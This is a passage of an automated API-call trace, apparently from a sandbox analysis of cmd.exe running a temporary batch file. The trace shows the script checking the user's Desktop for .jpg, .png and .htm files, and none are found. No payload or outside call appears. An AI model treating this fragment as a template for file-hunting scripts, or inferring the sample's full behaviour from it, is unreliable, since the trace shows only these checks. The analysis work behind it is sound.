hFile=0x74, lDistanceToMove=351, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x15f [0039.834] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.834] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x15f [0039.834] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x1fff, lpOverlapped=0x0) returned 1 [0039.834] SetFilePointer (in: hFile=0x74, lDistanceToMove=376, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x178 [0039.834] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=25, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="IF EXIST *.jpg goto jpg\r\n\r\n") returned 25 [0039.834] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.834] GetFileType (hFile=0x74) returned 0x1 [0039.834] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.834] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x178 [0039.834] GetProcessHeap () returned 0x4e0000 [0039.834] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x5038a0 [0039.834] GetProcessHeap () returned 0x4e0000 [0039.834] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x5038a0 | out: hHeap=0x4e0000) returned 1 [0039.835] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4a38 [0039.835] GetProcessHeap () returned 0x4e0000 [0039.835] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0xe) returned 0x4f4518 [0039.835] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x20) returned 0x4e0880 [0039.835] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4e0880, Size=0x16) returned 0x4f5880 [0039.835] GetProcessHeap () returned 0x4e0000 [0039.835] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f5880) returned 0x16 [0039.835] _wcsicmp (_String1="EXIST", _String2="/I") returned 54 [0039.835] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4a98 [0039.835] GetProcessHeap () returned 0x4e0000 [0039.835] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x14) returned 0x4f58a0 [0039.835] _wcsicmp (_String1="ERRORLEVEL", _String2="EXIST") returned -6 [0039.835] _wcsicmp (_String1="EXIST", _String2="EXIST") returned 0 [0039.835] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x14) returned 0x4f58c0 [0039.835] GetProcessHeap () returned 0x4e0000 [0039.835] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x20) returned 0x4e0880 [0039.835] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4e0880, Size=0x16) returned 0x4f58e0 [0039.835] GetProcessHeap () returned 0x4e0000 [0039.835] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f58e0) returned 0x16 [0039.835] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4af8 [0039.835] GetProcessHeap () returned 0x4e0000 [0039.835] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x12) returned 0x4f5900 [0039.835] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x12) returned 0x4f5920 [0039.836] _tell (_FileHandle=3) returned 376 [0039.836] _close (_FileHandle=3) returned 0 [0039.836] GetFullPathNameW (in: lpFileName="*.jpg", nBufferLength=0x208, lpBuffer=0x41f0fc, lpFilePart=0x41eea8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.jpg", lpFilePart=0x41eea8*="*.jpg") returned 0x2b [0039.837] wcsncmp (_String1="C:\\U", _String2="\\\\.\\", _MaxCount=0x4) returned -25 [0039.837] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.jpg", fInfoLevelId=0x1, lpFindFileData=0x41eeac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x41eeac) returned 0xffffffff [0039.837] GetLastError () returned 0x2 [0039.837] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0039.837] GetLastError () returned 0x6 [0039.837] _get_osfhandle (_FileHandle=1) returned 0x7 [0039.837] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0039.837] _get_osfhandle (_FileHandle=1) returned 0x7 [0039.837] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a6041ac | out: lpMode=0x4a6041ac) returned 1 [0039.837] _get_osfhandle (_FileHandle=0) returned 0x3 [0039.837] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a6041b0 | out: lpMode=0x4a6041b0) returned 1 [0039.838] SetConsoleInputExeNameW () returned 0x1 [0039.838] GetConsoleOutputCP () returned 0x1b5 [0039.838] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a604260 | out: lpCPInfo=0x4a604260) returned 1 [0039.838] SetThreadUILanguage (LangId=0x0) returned 0x409 [0039.838] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0039.838] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0039.838] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.838] SetFilePointer (in: hFile=0x74, lDistanceToMove=376, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x178 [0039.838] GetProcessHeap () returned 0x4e0000 [0039.838] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5920 | out: hHeap=0x4e0000) returned 1 [0039.838] GetProcessHeap () returned 0x4e0000 [0039.839] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5900 | out: hHeap=0x4e0000) returned 1 [0039.839] GetProcessHeap () returned 0x4e0000 [0039.839] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4af8 | out: hHeap=0x4e0000) returned 1 [0039.839] GetProcessHeap () returned 0x4e0000 [0039.839] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58e0 | out: hHeap=0x4e0000) returned 1 [0039.839] GetProcessHeap () returned 0x4e0000 [0039.839] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58c0 | out: hHeap=0x4e0000) returned 1 [0039.839] GetProcessHeap () returned 0x4e0000 [0039.839] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58a0 | out: hHeap=0x4e0000) returned 1 [0039.839] GetProcessHeap () returned 0x4e0000 [0039.839] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a98 | out: hHeap=0x4e0000) returned 1 [0039.839] GetProcessHeap () returned 0x4e0000 [0039.839] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5880 | out: hHeap=0x4e0000) returned 1 [0039.839] GetProcessHeap () returned 0x4e0000 [0039.839] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4518 | out: hHeap=0x4e0000) returned 1 [0039.839] GetProcessHeap () returned 0x4e0000 [0039.839] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a38 | out: hHeap=0x4e0000) returned 1 [0039.839] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.839] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x178 [0039.839] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x1fff, lpOverlapped=0x0) returned 1 [0039.839] SetFilePointer (in: hFile=0x74, lDistanceToMove=378, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x17a [0039.839] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="\r\n EXIST *.jpg goto jpg\r\n\r\n") returned 2 [0039.839] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.840] GetFileType (hFile=0x74) returned 0x1 [0039.840] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.840] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x17a [0039.840] GetProcessHeap () returned 0x4e0000 [0039.840] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x5038a0 [0039.840] GetProcessHeap () returned 0x4e0000 [0039.840] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x5038a0 | out: hHeap=0x4e0000) returned 1 [0039.840] _tell (_FileHandle=3) returned 378 [0039.840] _close (_FileHandle=3) returned 0 [0039.840] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0039.840] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0039.840] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.840] SetFilePointer (in: hFile=0x74, lDistanceToMove=378, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x17a [0039.840] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.840] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x17a [0039.841] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x1fff, lpOverlapped=0x0) returned 1 [0039.841] SetFilePointer (in: hFile=0x74, lDistanceToMove=403, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x193 [0039.841] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=25, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="IF EXIST *.png goto png\r\n\r\n") returned 25 [0039.841] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.841] GetFileType (hFile=0x74) returned 0x1 [0039.841] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.841] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x193 [0039.841] GetProcessHeap () returned 0x4e0000 [0039.841] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x5038a0 [0039.841] GetProcessHeap () returned 0x4e0000 [0039.841] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x5038a0 | out: hHeap=0x4e0000) returned 1 [0039.841] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4a38 [0039.841] GetProcessHeap () returned 0x4e0000 [0039.841] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0xe) returned 0x4f4518 [0039.841] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x20) returned 0x4e0880 [0039.841] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4e0880, Size=0x16) returned 0x4f5880 [0039.841] GetProcessHeap () returned 0x4e0000 [0039.841] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f5880) returned 0x16 [0039.841] _wcsicmp (_String1="EXIST", _String2="/I") returned 54 [0039.841] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4a98 [0039.842] GetProcessHeap () returned 0x4e0000 [0039.842] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x14) returned 0x4f58a0 [0039.842] _wcsicmp (_String1="ERRORLEVEL", _String2="EXIST") returned -6 [0039.842] _wcsicmp (_String1="EXIST", _String2="EXIST") returned 0 [0039.842] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x14) returned 0x4f58c0 [0039.842] GetProcessHeap () returned 0x4e0000 [0039.842] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x20) returned 0x4e0880 [0039.842] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4e0880, Size=0x16) returned 0x4f58e0 [0039.842] GetProcessHeap () returned 0x4e0000 [0039.842] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f58e0) returned 0x16 [0039.842] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4af8 [0039.842] GetProcessHeap () returned 0x4e0000 [0039.842] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x12) returned 0x4f5900 [0039.842] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x12) returned 0x4f5920 [0039.843] _tell (_FileHandle=3) returned 403 [0039.843] _close (_FileHandle=3) returned 0 [0039.843] GetFullPathNameW (in: lpFileName="*.png", nBufferLength=0x208, lpBuffer=0x41f0fc, lpFilePart=0x41eea8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.png", lpFilePart=0x41eea8*="*.png") returned 0x2b [0039.843] wcsncmp (_String1="C:\\U", _String2="\\\\.\\", _MaxCount=0x4) returned -25 [0039.843] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.png", fInfoLevelId=0x1, lpFindFileData=0x41eeac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x41eeac) returned 0xffffffff [0039.843] GetLastError () returned 0x2 [0039.843] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0039.843] GetLastError () returned 0x6 [0039.843] _get_osfhandle (_FileHandle=1) returned 0x7 [0039.843] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0039.844] _get_osfhandle (_FileHandle=1) returned 0x7 [0039.844] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a6041ac | out: lpMode=0x4a6041ac) returned 1 [0039.844] _get_osfhandle (_FileHandle=0) returned 0x3 [0039.844] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a6041b0 | out: lpMode=0x4a6041b0) returned 1 [0039.844] SetConsoleInputExeNameW () returned 0x1 [0039.844] GetConsoleOutputCP () returned 0x1b5 [0039.845] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a604260 | out: lpCPInfo=0x4a604260) returned 1 [0039.845] SetThreadUILanguage (LangId=0x0) returned 0x409 [0039.845] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0039.845] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0039.845] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.845] SetFilePointer (in: hFile=0x74, lDistanceToMove=403, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x193 [0039.845] GetProcessHeap () returned 0x4e0000 [0039.845] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5920 | out: hHeap=0x4e0000) returned 1 [0039.845] GetProcessHeap () returned 0x4e0000 [0039.845] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5900 | out: hHeap=0x4e0000) returned 1 [0039.845] GetProcessHeap () returned 0x4e0000 [0039.845] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4af8 | out: hHeap=0x4e0000) returned 1 [0039.845] GetProcessHeap () returned 0x4e0000 [0039.845] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58e0 | out: hHeap=0x4e0000) returned 1 [0039.845] GetProcessHeap () returned 0x4e0000 [0039.845] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58c0 | out: hHeap=0x4e0000) returned 1 [0039.845] GetProcessHeap () returned 0x4e0000 [0039.845] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58a0 | out: hHeap=0x4e0000) returned 1 [0039.845] GetProcessHeap () returned 0x4e0000 [0039.845] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a98 | out: hHeap=0x4e0000) returned 1 [0039.845] GetProcessHeap () returned 0x4e0000 [0039.846] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5880 | out: hHeap=0x4e0000) returned 1 [0039.846] GetProcessHeap () returned 0x4e0000 [0039.846] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4518 | out: hHeap=0x4e0000) returned 1 [0039.846] GetProcessHeap () returned 0x4e0000 [0039.846] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a38 | out: hHeap=0x4e0000) returned 1 [0039.846] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.846] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x193 [0039.846] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x1fff, lpOverlapped=0x0) returned 1 [0039.846] SetFilePointer (in: hFile=0x74, lDistanceToMove=405, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x195 [0039.846] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="\r\n EXIST *.png goto png\r\n\r\n") returned 2 [0039.846] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.846] GetFileType (hFile=0x74) returned 0x1 [0039.846] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.846] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x195 [0039.846] GetProcessHeap () returned 0x4e0000 [0039.846] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x5038a0 [0039.846] GetProcessHeap () returned 0x4e0000 [0039.846] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x5038a0 | out: hHeap=0x4e0000) returned 1 [0039.846] _tell (_FileHandle=3) returned 405 [0039.847] _close (_FileHandle=3) returned 0 [0039.847] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0039.847] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0039.847] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.847] SetFilePointer (in: hFile=0x74, lDistanceToMove=405, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x195 [0039.847] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.847] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x195 [0039.847] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x1fff, lpOverlapped=0x0) returned 1 [0039.847] SetFilePointer (in: hFile=0x74, lDistanceToMove=430, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1ae [0039.847] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=25, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="IF EXIST *.htm goto htm\r\n\r\n") returned 25 [0039.847] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.847] GetFileType (hFile=0x74) returned 0x1 [0039.847] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.848] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1ae [0039.848] GetProcessHeap () returned 0x4e0000 [0039.848] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x5038a0 [0039.848] GetProcessHeap () returned 0x4e0000 [0039.848] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x5038a0 | out: hHeap=0x4e0000) returned 1 [0039.848] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4a38 [0039.848] GetProcessHeap () returned 0x4e0000 [0039.848] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0xe) returned 0x4f4518 [0039.848] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x20) returned 0x4e0880 [0039.848] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4e0880, Size=0x16) returned 0x4f5880 [0039.848] GetProcessHeap () returned 0x4e0000 [0039.848] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f5880) returned 0x16 [0039.848] _wcsicmp (_String1="EXIST", _String2="/I") returned 54 [0039.848] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4a98 [0039.849] GetProcessHeap () returned 0x4e0000 [0039.849] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x14) returned 0x4f58a0 [0039.849] _wcsicmp (_String1="ERRORLEVEL", _String2="EXIST") returned -6 [0039.849] _wcsicmp (_String1="EXIST", _String2="EXIST") returned 0 [0039.849] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x14) returned 0x4f58c0 [0039.849] GetProcessHeap () returned 0x4e0000 [0039.849] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x20) returned 0x4e0880 [0039.849] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4e0880, Size=0x16) returned 0x4f58e0 [0039.849] GetProcessHeap () returned 0x4e0000 [0039.849] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f58e0) returned 0x16 [0039.849] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4af8 [0039.849] GetProcessHeap () returned 0x4e0000 [0039.849] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x12) returned 0x4f5900 [0039.849] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x12) returned 0x4f5920 [0039.850] _tell (_FileHandle=3) returned 430 [0039.850] _close (_FileHandle=3) returned 0 [0039.850] GetFullPathNameW (in: lpFileName="*.htm", nBufferLength=0x208, lpBuffer=0x41f0fc, lpFilePart=0x41eea8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.htm", lpFilePart=0x41eea8*="*.htm") returned 0x2b [0039.850] wcsncmp (_String1="C:\\U", _String2="\\\\.\\", _MaxCount=0x4) returned -25 [0039.850] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.htm", fInfoLevelId=0x1, lpFindFileData=0x41eeac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x41eeac) returned 0xffffffff [0039.850] GetLastError () returned 0x2 [0039.850] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0039.850] GetLastError () returned 0x6 [0039.850] _get_osfhandle (_FileHandle=1) returned 0x7 [0039.850] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0039.851] _get_osfhandle (_FileHandle=1) returned 0x7 [0039.851] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a6041ac | out: lpMode=0x4a6041ac) returned 1 [0039.851] _get_osfhandle (_FileHandle=0) returned 0x3 [0039.851] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a6041b0 | out: lpMode=0x4a6041b0) returned 1 [0039.851] SetConsoleInputExeNameW () returned 0x1 [0039.851] GetConsoleOutputCP () returned 0x1b5 [0039.852] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a604260 | out: lpCPInfo=0x4a604260) returned 1 [0039.852] SetThreadUILanguage (LangId=0x0) returned 0x409 [0039.852] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0039.852] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0039.852] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.852] SetFilePointer (in: hFile=0x74, lDistanceToMove=430, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1ae [0039.852] GetProcessHeap () returned 0x4e0000 [0039.852] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5920 | out: hHeap=0x4e0000) returned 1 [0039.852] GetProcessHeap () returned 0x4e0000 [0039.852] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5900 | out: hHeap=0x4e0000) returned 1 [0039.852] GetProcessHeap () returned 0x4e0000 [0039.852] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4af8 | out: hHeap=0x4e0000) returned 1 [0039.852] GetProcessHeap () returned 0x4e0000 [0039.852] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58e0 | out: hHeap=0x4e0000) returned 1 [0039.852] GetProcessHeap () returned 0x4e0000 [0039.852] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58c0 | out: hHeap=0x4e0000) returned 1 [0039.852] GetProcessHeap () returned 0x4e0000 [0039.853] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58a0 | out: hHeap=0x4e0000) returned 1 [0039.853] GetProcessHeap () returned 0x4e0000 [0039.853] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a98 | out: hHeap=0x4e0000) returned 1 [0039.853] GetProcessHeap () returned 0x4e0000 [0039.853] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5880 | out: hHeap=0x4e0000) returned 1 [0039.853] GetProcessHeap () returned 0x4e0000 [0039.853] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4518 | out: hHeap=0x4e0000) returned 1 [0039.853] GetProcessHeap 